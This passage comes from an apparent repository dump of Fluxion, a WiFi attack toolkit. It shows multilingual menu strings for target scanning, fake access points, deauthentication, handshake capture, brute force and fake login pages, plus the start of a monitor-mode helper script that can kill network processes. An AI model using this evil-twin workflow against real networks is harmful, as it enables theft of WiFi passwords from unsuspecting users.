>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    general_back=\"Retour\"\n    general_error_1=\"Pas trouvé\"\n    general_case_error=\"Option inconnue. Sélectionnez à nouveau\"\n    general_exitmode=\"Nettoyage et fermeture\"\n    general_exitmode_1=\"Désactivation de l'interface de monitoring\"\n    general_exitmode_2=\"Désactivation de l'interface\"\n    general_exitmode_3=\"Désactivation de \"$grey\" transmission de paquets\"\n    general_exitmode_4=\"Nettoyage \"$grey\"iptables\"\n    general_exitmode_5=\"Restauration \"$grey\"tput\"\n    general_exitmode_6=\"Redémarrage \"$grey\"Network-Manager\"\n    general_exitmode_7=\"Nettoyage effectué avec succès!\"\n    general_exitmode_8=\"Merci d'avoir utilisé fluxion\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    selection_1=\"Clients actifs\"\n    selection_2=\"Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent\"\n"
  },
  {
    "path": "language/ger",
    "content": "header_setinterface=\"Wähle deine Netzwerkkarte aus\"\n\tsetinterface_error=\"Es wurden keine Netzwerkkarten gefunden, beende...\"\n\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_choosescan=\"Wähle deinen Kanal aus\"\n\n\tchoosescan_option_1=\"Alle Kanäle\"\n\tchoosescan_option_2=\"Spezifische Kanal(e)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tscanchan_option_1=\"Einzelner Kanal\"\n\tscanchan_option_2=\"Mehrere Kanäle\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scan=\"WIFI Monitor\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scanchan=\"Scanne Netzwerke...\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askAP=\"Wähle deine Angriffsmethode aus\"\n\taskAP_option_1=\"FakeAP - Hostapd (\"$red\"Empfohlen)\"\n\taskAP_option_2=\"FakeAP - airbase-ng (Langsame Verbindung)\"\n\taskAP_option_4=\"Bruteforce - (Handshake wird benötigt)\"\n\tgeneral_back=\"Zurück\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askauth=\"Methode zum Prüfen des Handshake\"\n\taskauth_option_1=\"Handshake (\"$red\"Empfohlen)\"\n\taskauth_option_2=\"Wpa_supplicant (Mehrere Ausfälle)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthforce=\"Handshake-Überprüfung\"\n\tdeauthforce_option_1=\"aircrack-ng (Ausfall möglich)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthMENU=\"*Erfassung des Handshake*\"\n\tdeauthMENU_option_1=\"Überprüfe Handshake\"\n\tdeauthMENU_option_2=\"Starte neu\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_webinterface=\"Wähle deine Strategie aus\"\n\theader_ConnectionRESET=\"Wähle deine Anmeldeseite aus\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tgeneral_case_error=\"Unbekannte Option, wähle neu aus\"\n\tgeneral_error_1=\"Nicht gefunden\"\n\tgeneral_error_2=\"Datei wurde ${red}nicht$transparent gefunden\"\n\tgeneral_back=\"Zurück\"\n\tgeneral_exitmode=\"Aufräumen und schließen\"\n\tgeneral_exitmode_1=\"Deaktivierung des Monitor Interface\"\n\tgeneral_exitmode_2=\"Deaktivierung des Interface\"\n\tgeneral_exitmode_3=\"Deaktivierung \"$grey\"von weiterleiten von Paketen\"\n\tgeneral_exitmode_4=\"Säubere \"$grey\"iptables\"\n\tgeneral_exitmode_5=\"Wiederherstellung von\"$grey\"tput\"\n\tgeneral_exitmode_6=\"Neustarten des \"$grey\"Netzwerk Manager\"\n\tgeneral_exitmode_7=\"Wiederherstellung war erfolgreich\"\n\tgeneral_exitmode_8=\"Vielen Dank für die Nutzung von Fluxion\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tselection_1=\"Mit aktive Nutzer\"\n\tselection_2=\"Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent\"\n"
  },
  {
    "path": "language/gr",
    "content": "    header_setinterface=\"Επιλέξτε μία διεπαφή\"\n    setinterface_error=\"Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος...\"\n\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_choosescan=\"Επίλεξτε κανάλι\"\n    choosescan_option_1=\"Όλα τα κανάλια\"\n    choosescan_option_2=\"Συγκεκριμένο(α) κανάλι(α)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    scanchan_option_1=\"Μονό κανάλι\"\n    scanchan_option_2=\"Πολλαπλά κανάλια\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_scan=\"Εποπτεία Wi-Fi\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_scanchan=\"Σκανάρισμα στόχου\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_askAP=\"Επίλογη τύπου επίθεσης\"\n    askAP_option_1=\"FakeAP - Hostapd (\"$red\"Συνιστάται)\"\n    askAP_option_2=\"FakeAP - airbase-ng (Πιό αργή σύνδεση)\"\n    askAP_option_4=\"Bruteforce - (Απαιτείται το Handshake)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_askauth=\"Μέθοδος επαλήθευσης κωδικού πρόσβασης\"\n    askauth_option_1=\"Handshake (\"$red\"Συνιστάται)\"\n    askauth_option_2=\"Wpa_supplicant(Περισσότερες αποτυχίες)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_deauthforce=\"Επαλήθευση Handshake\"\n    deauthforce_option_1=\"aircrack-ng (Πιθανότητα αποτυχίας)\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_deauthMENU=\"*Λήψη του Handshake*\"\n    deauthMENU_option_1=\"Έλεγχος του handshake\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    header_webinterface=\"Επίλεξτε την επιλογή σας\"\n    header_ConnectionRESET=\"Επίλογη Σελίδας Εισόδου\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    general_back=\"Πίσω\"\n    general_error_1=\"Δέν_βρέθηκε\"\n    general_case_error=\"Άγνωστη επιλογή. Επιλέξτε ξανά\"\n    general_exitmode=\"Καθαρισμός και τερματισμός\"\n    general_exitmode_1=\"Απενεργοποίση εποπτείας περιβάλλοντος\"\n    general_exitmode_2=\"Απενεργοποίηση περιβάλλοντος\"\n    general_exitmode_3=\"Απενεργοποίηση \"$grey\"προώθησης των πακέτων\"\n    general_exitmode_4=\"Καθαρισμός \"$grey\"iptables\"\n    general_exitmode_5=\"Επαναφορά \"$grey\"tput\"\n    general_exitmode_6=\"Επανεκκίνηση \"$grey\"του Διαχειριστή δικτύου\"\n    general_exitmode_7=\"Ο Καθαρισμός εκτελέστηκε με επιτυχία!\"\n    general_exitmode_8=\"Ευχαριστούμε που χρησιμοποιήσατε το fluxion\"\n    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n    selection_1=\"Ενεργοί πελάτες\"\n    selection_2=\"Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent\"\n"
  },
  {
    "path": "language/it",
    "content": "header_setinterface=\"Seleziona un'interfaccia\"\n    setinterface_error=\"Nessuna scheda di rete trovata, chiusura...\"\n\n    #\n    header_choosescan=\"Selezione Canale\"\n    choosescan_option_1=\"Tutti i Canali\"\n    choosescan_option_2=\"Definisci Canale/i\"\n    #\n    scanchan_option_1=\"Canale Singolo\"\n    scanchan_option_2=\"Canali Multipli\"\n    #\n    header_scan=\"WIFI Monitor\"\n    #\n    header_scanchan=\"Scansione dell'Obiettivo\"\n    #\n    header_askAP=\"Seleziona Opzione d'Attacco\"\n    askAP_option_1=\"FakeAP - Hostapd (\"$red\"Consigliato!)\"\n    askAP_option_2=\"FakeAP - airbase-ng (Connessione Lenta)\"\n    askAP_option_4=\"Bruteforce - (Richiede handshake)\"\n    #\n    header_askauth=\"MODALITA' DI VERIFICA DELLA PASSWORD\"\n    askauth_option_1=\"Handshake (\"$red\"Consigliato!)\"\n    askauth_option_2=\"Wpa_supplicant(Rischio di Insuccesso)\"\n    #\n    header_deauthforce=\"Controllo dell'Handshake\"\n    deauthforce_option_1=\"aircrack-ng (Possibilità di Errori)\"\n    #\n    header_deauthMENU=\"*Cattura dell'Handshake*\"\n    deauthMENU_option_1=\"Controllo handshake\"\n    #\n    handshakelocation_1=\"posizione dell'handshake  (Esempio: $red$WORK_DIR.cap$transparent)\"\n    handshakelocation_2=\"Premi ${yellow}INVIO$transparent per avanzare\"\n    #\n    header_webinterface=\"Seleziona la tua scelta\"\n    header_ConnectionRESET=\"Seleziona la pagina di Login\"\n    #\n    general_back=\"Indietro\"\n    general_error_1=\"Non_Trovato\"\n    general_case_error=\"Opzione Sconosciuta. Scegli di nuovo\"\n    general_exitmode=\"Pulizia e chiusura\"\n    general_exitmode_1=\"Disabilito l'Interfaccia Monitor\"\n    general_exitmode_2=\"Disabilito l'Interfaccia\"\n    general_exitmode_3=\"Disabilito \"$grey\"l'invio dei pacchetti\"\n    general_exitmode_4=\"Pulisco \"$grey\"iptables\"\n    general_exitmode_5=\"Ripristino \"$grey\"tput\"\n    general_exitmode_6=\"Riavvio il \"$grey\"Network-Manager\"\n    general_exitmode_7=\"Pulizia avvenuta con successo!\"\n    general_exitmode_8=\"Grazie per aver utilizzato Fluxion\"\n    #\n    selection_1=\"Dispositivi connessi\"\n    selection_2=\"Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent\"\n"
  },
  {
    "path": "language/ro",
    "content": "    header_setinterface=\"Selecteaza o interfata\"\n    setinterface_error=\"Nu este nici o placa de retea wireless, iesire...\"\n\n    #\n    header_choosescan=\"Selecteaza canalul\"\n    choosescan_option_1=\"Toate canalele \"\n    choosescan_option_2=\"Canal specific(s)\"\n    #\n    scanchan_option_1=\"Un singur canal\"\n    scanchan_option_2=\"Canale multiple\"\n    #\n    header_scan=\"WIFI Monitor\"\n    #\n    header_scanchan=\"Scaneaza tinta\"\n    #\n    header_askAP=\"Selecteaza optiunea de atac\"\n    askAP_option_1=\"FakeAP - Hostapd (\"$red\"Recomandat)\"\n    askAP_option_2=\"FakeAP - airbase-ng (Conexiune mai lenta)\"\n    askAP_option_4=\"Bruteforce - (Handshake este necesara)\"\n    #\n    header_askauth=\"METODA PENTRU VERIFICAREA PAROLEI\"\n    askauth_option_1=\"Handshake (\"$red\"Recomandat)\"\n    askauth_option_2=\"Wpa_supplicant(Mai multe eșecuri)\"\n    #\n    header_deauthforce=\"Verificare Handshake\"\n    deauthforce_option_1=\"aircrack-ng (Sansa ratata)\"\n    #\n    header_deauthMENU=\"*Capturare Handshake*\"\n    deauthMENU_option_1=\"Verificare handshake\"\n    #\n    handshakelocation_1=\"Handshake locatie  (Examplu: $red$WORK_DIR.cap$transparent)\"\n    handshakelocation_2=\"Apasa ${yellow}ENTER$transparent to skip\"\n    #\n    header_webinterface=\"Selecteaza optiunea ta\"\n    header_ConnectionRESET=\"Selecteaza pagina de logare\"\n    #\n    general_back=\"Inapoi\"\n    general_error_1=\"Nu a fost gasit\"\n    general_case_error=\"Optiune necunoscuta. Incearca din nou\"\n    general_exitmode=\"Curatire si inchidere\"\n    general_exitmode_1=\"Dezacticati interfata monitorizata\"\n    general_exitmode_2=\"Dezactivati interfata\"\n    general_exitmode_3=\"Dezactivati \"$grey\"forwarding of packets\"\n    general_exitmode_4=\"Curatire \"$grey\"iptables\"\n    general_exitmode_5=\"Restaurare \"$grey\"tput\"\n    general_exitmode_6=\"Restartare \"$grey\"Network-Manager\"\n    general_exitmode_7=\"Curatire efectuata cu succes!\"\n    general_exitmode_8=\"Multumesc pentru ca ati folosit fluxion\"\n    #\n    selection_1=\"Clienti activi\"\n    selection_2=\"Selecteaza tinta. Pentru rescanare tastati$red r$transparent\"\n"
  },
  {
    "path": "language/source",
    "content": "\n#EN\nsource $WORK_DIR/sites/neutra/en\n\n#GER\nsource $WORK_DIR/sites/neutra/ger\n\n#ESP\nsource $WORK_DIR/sites/neutra/esp\n\n#IT\nsource $WORK_DIR/sites/neutra/it\n\n#FR\nsource $WORK_DIR/sites/neutra/fr\n\n#POR\nsource $WORK_DIR/sites/neutra/por\n\n#RUS\nsource $WORK_DIR/sites/neutra/rus\n\n#TR\nsource $WORK_DIR/sites/neutra/tr \n\n#RO\nsource $WORK_DIR/sites/neutra/ro \n\n#HU\nsource $WORK_DIR/sites/neutra/hu\n\n#ARA\nsource $WORK_DIR/sites/neutra/ara\n\n#CN\nsource $WORK_DIR/sites/neutra/cn \n\n#GR\nsource $WORK_DIR/sites/neutra/gr \n\n#CZ\nsource $WORK_DIR/sites/neutra/cz\n\n#NO\nsource $WORK_DIR/sites/neutra/no\n\n#BG\nsource $WORK_DIR/sites/neutra/bg\n\n#SRB \nsource $WORK_DIR/sites/neutra/srb\n\n#PL\nsource $WORK_DIR/sites/neutra/pl\n\n#ID\nsource $WORK_DIR/sites/neutra/id\n\n#NL\nsource $WORK_DIR/sites/neutra/nl\n\n#DAN\nsource $WORK_DIR/sites/neutra/dan\n\n#TH \nsource $WORK_DIR/sites/neutra/th\n\n#HE \nsource $WORK_DIR/sites/neutra/he\n\n#Portuguese \nsource $WORK_DIR/sites/neutra/por\n\n# SVN\nsource $WORK_DIR/sites/neutra/svn"
  },
  {
    "path": "language/svn",
    "content": "header_setinterface=\"Izberite vmesnik\"\n\tsetinterface_error=\"Tukaj ni nobenega primernega vmesnika, zapiram....\"\n\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_choosescan=\"Izberite kanal\"\n\tchoosescan_option_1=\"Vsi kanali \"\n\tchoosescan_option_2=\"Določen kanal/i\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tscanchan_option_1=\"En kanal\"\n\tscanchan_option_2=\"Več kanalov\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scan=\"WIFI Nadzor\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_scanchan=\"Skeniram tarče\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askAP=\"Izberite način napada\"\n\taskAP_option_1=\"FakeAP - Hostapd (\"$red\"Priporočeno)\"\n\taskAP_option_2=\"FakeAP - airbase-ng (Počasnejša povezava)\"\n\taskAP_option_4=\"Bruteforce - (Handshake je potreben)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_askauth=\"METODA PREVERITVE GESLA\"\n\taskauth_option_1=\"Handshake (\"$red\"Priporočeno)\"\n\taskauth_option_2=\"Wpa_supplicant(Slabša zanesljivost)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthforce=\"Handshake preverjanje\"\n\tdeauthforce_option_1=\"aircrack-ng (Miss chance)\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_deauthMENU=\"*Zajami Handshake*\"\n\tdeauthMENU_option_1=\"Preveri handshake\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\theader_webinterface=\"Izberi možnost\"\n\theader_ConnectionRESET=\"Izberi prijavno stran\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tgeneral_back=\"Nazaj\"\n\tgeneral_error_1=\"Ni_najdeno\"\n\tgeneral_case_error=\"Nepoznana možnost, izberi ponovno!\"\n\tgeneral_exitmode=\"Čiščenje in zapiranje\"\n\tgeneral_exitmode_1=\"Onemogočanje nadzornega načina\"\n\tgeneral_exitmode_2=\"Onemogočanje vmesnika\"\n\tgeneral_exitmode_3=\"Onemogočanje \"$grey\"posredovanja paketov\"\n\tgeneral_exitmode_4=\"Čiščenje \"$grey\"iptables\"\n\tgeneral_exitmode_5=\"Obnavljam \"$grey\"tput\"\n\tgeneral_exitmode_6=\"Ponovno zaganjam \"$grey\"Network-Manager\"\n\tgeneral_exitmode_7=\"Čiščenje je bilo uspšno!\"\n\tgeneral_exitmode_8=\"Hvala ker uporabljaš fluxion\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tselection_1=\"Aktivnih odjemalcev\"\n\tselection_2=\"Izberite tarčo. Za ponovno skeniranje napisi $red r$transparent\"\n"
  },
  {
    "path": "language/tu",
    "content": "header_setinterface=\"Bir Ag Secin\"\n    setinterface_error=\"Wireless adaptorunuz yok, program kapatiliyor...\"\n\n    #\n    header_choosescan=\"Kanal Sec\"\n    choosescan_option_1=\"Tum Kanallar \"\n    choosescan_option_2=\"Sectigim Kanal ya da Kanallar\"\n    #\n    scanchan_option_1=\"Tek Kanal\"\n    scanchan_option_2=\"Coklu Kanal\"\n    #\n    header_scan=\"Wifi Goruntule\"\n    #\n    header_scanchan=\"Hedef Taraniyor\"\n    #\n    header_askAP=\"Saldiri Tipi Secin\"\n    askAP_option_1=\"SahteAP - Hostapd (\"$red\"Tavsiye Edilen)\"\n    askAP_option_2=\"SahteAP - airbase-ng (Yavas Baglanti)\"\n    askAP_option_4=\"Kabakuvvet - (Handshake Gereklidir)\"\n    #\n    header_askauth=\"Sifre Kontrol Metodu\"\n    askauth_option_1=\"Handshake (\"$red\"Tavsiye Edilen)\"\n    askauth_option_2=\"Wpa_supplicant(Hata Orani Yuksek)\"\n    #\n    header_deauthforce=\"Handshake Kontrol\"\n    deauthforce_option_1=\"aircrack-ng (Hata Sansı Var)\"\n    #\n    header_deauthMENU=\"*Kaydet Handshake*\"\n    deauthMENU_option_1=\"Kontrol Et handshake\"\n    #\n    handshakelocation_1=\"handshake Dizini  (Ornek: $red$WORK_DIR.cap$transparent)\"\n    handshakelocation_2=\"Tusa Bas ${yellow}ENTER$transparent Gecmek icin\"\n    #\n    header_webinterface=\"Secenegi Sec\"\n    header_ConnectionRESET=\"Giris Sayfasini Sec\"\n    #\n    general_back=\"Geri\"\n    general_error_1=\"Bulunamadi\"\n    general_case_error=\"Bilinmeyen Secenek. Tekrar Seciniz\"\n    general_exitmode=\"Temizleniyor ve Kapatiliyor\"\n    general_exitmode_1=\"Monitor modu kapatiliyor\"\n    general_exitmode_2=\"Ag Arayuzu kapatiliyor\"\n    general_exitmode_3=\"Kapatiliyor \"$grey\"forwarding of packets\"\n    general_exitmode_4=\"Temizleniyor \"$grey\"iptables\"\n    general_exitmode_5=\"Yenileniyor \"$grey\"tput\"\n    general_exitmode_6=\"Tekrar Baslatiliyor \"$grey\"Network-Manager\"\n    general_exitmode_7=\"Temizlik Basariyla Tamamlandi!\"\n    general_exitmode_8=\"Fluxion kullandiginiz icin tesekkurler.\"\n    #\n    selection_1=\"Aktif kullanicilar\"\n    selection_2=\"Tekrar taramak icin Hedef seciniz type$red r$transparent\"\n"
  },
  {
    "path": "lib/airmon/airmon.sh",
    "content": "#!/bin/sh\n\nUSERID=\"\"\nIFACE=\"\"\nKISMET=/etc/kismet/kismet.conf\nCH=$3; [ x$3 = \"x\" ] && CH=10\nIFACE_FOUND=\"false\"\nMADWIFI=0\nMAC80211=0\nUSE_IW=0\nIW_SOURCE=\"https://www.kernel.org/pub/software/network/iw/iw-3.17.tar.xz\"\nIW_ERROR=\"\"\nUDEV_ISSUE=0\n\nif [ -f \"`which iw 2>&1`\" ]\nthen\n\tUSE_IW=1\nfi\n\nif [ \"x$MON_PREFIX\" = \"x\" ]\nthen\nMON_PREFIX=\"mon\"\nfi\n\nPROCESSES=\"wpa_action\\|wpa_supplicant\\|wpa_cli\\|dhclient\\|ifplugd\\|dhcdbd\\|dhcpcd\\|NetworkManager\\|knetworkmanager\\|avahi-autoipd\\|avahi-daemon\\|wlassistant\\|wifibox\"\nPS_ERROR=\"invalid\"\n\nusage() {\n\tprintf \"usage: `basename $0` <start|stop|check> <interface> [channel or frequency]\\n\"\n\techo\n\texit\n}\n\nstartStdIface() {\n\tiwconfig $1 mode monitor >/dev/null 2>&1\n\tif [ ! -z $2 ]\n\tthen\n\t    if [ $2 -lt 1000 ]\n\t    then\n\t\tiwconfig $1 channel $2 >/dev/null 2>&1\n\t    else\n\t\tiwconfig $1 freq \"$2\"000000 > /dev/null 2>&1\n\t    fi\n\tfi\n\tiwconfig $1 key off >/dev/null 2>&1\n\tifconfig $1 up\n\tprintf \" (monitor mode enabled)\"\n}\n\n\nstopStdIface() {\n\tifconfig $1 down >/dev/null 2>&1\n\tiwconfig $1 mode Managed >/dev/null 2>&1\n\tifconfig $1 down >/dev/null 2>&1\n\tprintf \" (monitor mode disabled)\"\n}\n\ngetModule() {\n    if [ -f \"/sys/class/net/$1/device/driver/module/srcversion\" ]\n    then\n        srcver1=`cat \"/sys/class/net/$1/device/driver/module/srcversion\"`\n        for j in `lsmod | awk '{print $1}' | grep -v \"^Module$\"`\n        do\n            srcver2=\"`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`\"\n            if [ $srcver1 = \"$srcver2\" ]\n            then\n                MODULE=$j\n                break\n            fi\n        done\n    else\n        MODULE=\"\"\n    fi\n#    return 0\n}\n\ngetDriver() {\n   if [ -e \"/sys/class/net/$1/device/driver\" ]\n   then\n       DRIVER=\"`ls -l \"/sys/class/net/$1/device/driver\" | sed 's/^.*\\/\\([a-zA-Z0-9_-]*\\)$/\\1/'`\"\n       BUS=\"`ls -l \"/sys/class/net/$1/device/driver\" | sed 's/^.*\\/\\([a-zA-Z0-9_-]*\\)\\/.*\\/.*$/\\1/'`\"\n   else\n       DRIVER=\"\"\n       BUS=\"\"\n   fi\n   if [ x$(echo $DRIVER | grep ath5k) != \"x\" ]\n   then\n       DRIVER=\"ath5k\"\n   fi\n   if [ x$(echo $DRIVER | grep ath9k) != \"x\" ]\n   then\n       DRIVER=\"ath9k\"\n   fi\n   if [ x$DRIVER = \"x\" ]\n   then\n\tif [ -d /sys/class/net/tiwlan0/wireless ]\n\tthen\n\t\tDRIVER=WiLink\n\tfi\n   fi\n\n}\n\nscanProcesses() {\n    if [ -f \"`which service 2>&1`\" ] && [ x\"$1\" = \"xkill\" ]\n    then\n    \tservice network-manager stop 2>/dev/null >/dev/null\n \tservice avahi-daemon stop 2>/dev/null >/dev/null\n    fi\n\n    match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l`\n    if [ $match -gt 0 -a x\"$1\" != \"xkill\" ]\n    then\n        printf \"\\n\\n\"\n        echo \"Found $match processes that could cause trouble.\"\n        echo \"If airodump-ng, aireplay-ng or airtun-ng stops working after\"\n        echo \"a short period of time, you may want to kill (some of) them!\"\n        echo -e \"\\nPID\\tName\"\n    else\n        if [ x\"$1\" != \"xkill\" ]\n        then\n            return\n        fi\n    fi\n\n    if [ $match -gt 0 -a x\"$1\" = \"xkill\" ]\n    then\n        echo \"Killing all those processes...\"\n    fi\n\n    i=1\n    while [ $i -le $match ]\n    do\n        pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'`\n        pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'`\n        if [ x\"$1\" != \"xkill\" ]\n        then\n            printf \"$pid\\t$pname\\n\"\n        else\n            kill $pid\n        fi\n        i=$(($i+1))\n    done\n}\n\ncheckProcessesIface() {\n    if [ x\"$1\" = \"x\" ]\n    then\n        return\n    fi\n\n    match2=`ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l`\n    if [ $match2 -gt 0 ]\n    then\n\treturn\n    fi\n\n    for i in `ps auxw | grep $1 | grep -v \"grep\" | grep -v \"airmon\" | awk '{print $2}'`\n    do\n        pname=`ps -o comm= -p $i`\n        echo \"Process with PID $i ($pname) is running on interface $1\"\n    done\n}\n\ngetStack() {\n    if [ x\"$1\" = \"x\" ]\n    then\n        return\n    fi\n\n    if [ -d /sys/class/net/$1/phy80211/ ]\n    then\n        MAC80211=1\n    else\n        MAC80211=0\n    fi\n}\n\n#you need to run getDriver $iface prior to getChipset\ngetChipset() {\n    if [ x\"$1\" = \"x\" ]\n    then\n        return\n    fi\n\n    CHIPSET=\"Unknown \"\n\n    if [ x$DRIVER = \"xOtus\" -o x$DRIVER = \"xarusb_lnx\" ]\n    then\n\t\tCHIPSET=\"AR9001U\"\n    fi\n\n    if [ x$DRIVER = \"xWiLink\" ]\n    then\n\tCHIPSET=`dmesg | grep TIWLAN | grep CHIP | tail -n 1 | awk -F\\  '{ print $6 }'` \n   \tif [ x$CHIPSET = \"x\" ]\n\tthen\n\t\tCHIPSET=\"Unknown\"\n\telse\n\t\tCHIPSET=\"TI${CHIPSET}\"\t\n\tfi \n    fi\n    \n    if [ x$DRIVER = \"xar9170usb\" ]\n    then\n    \tgetPhy $2\n    \tCHIPSET=\"Atheros `dmesg | grep $PHYDEV | grep \"is registered as\" | cut -d':' -f 2 | cut -d' ' -f 3`\"\n    fi\n\n    if [ x$DRIVER = \"xzd1211rw_mac80211\" ]\n    then\n        CHIPSET=\"ZyDAS 1211\"\n    fi\n\n\tif [ x$DRIVER = \"xzd1211rw\" ]\n    then\n        getPhy $2\n        TEMP_USBPORT=\"`dmesg | grep $PHYDEV | grep zd1211rw | cut -d'w' -f 2 | cut -d' ' -f 2`\"\n        TEMP_CHIPSET=\"`dmesg | grep \"$TEMP_USBPORT\" | grep chip | tail -n 1 | cut -d':' -f 3 | cut -d' ' -f 2`\"\n        CHIPSET=\"Zydas $TEMP_CHIPSET\"\n    fi\n\n    if [ x$DRIVER = \"xacx\" -o x$DRIVER = \"xacx-mac80211\" -o x$DRIVER = \"xacx1xx\" ]\n    then\n        CHIPSET=\"TI ACX1xx\"\n    fi\n\n    if [ x$DRIVER = \"adm8211\" ]\n    then\n        CHIPSET=\"ADMtek 8211\"\n    fi\n\n    if [ x$DRIVER = \"xat76_usb\" ]\n    then\n        CHIPSET=\"Atmel   \"\n    fi\n\n    if [ x$DRIVER = \"xb43\" -o x$DRIVER = \"xb43legacy\" -o x$DRIVER = \"xbcm43xx\" -o x$DRIVER = \"xwl\" ]\n    then\n        CHIPSET=\"Broadcom\"\n        if [ x$DRIVER = \"xb43\" ]\n        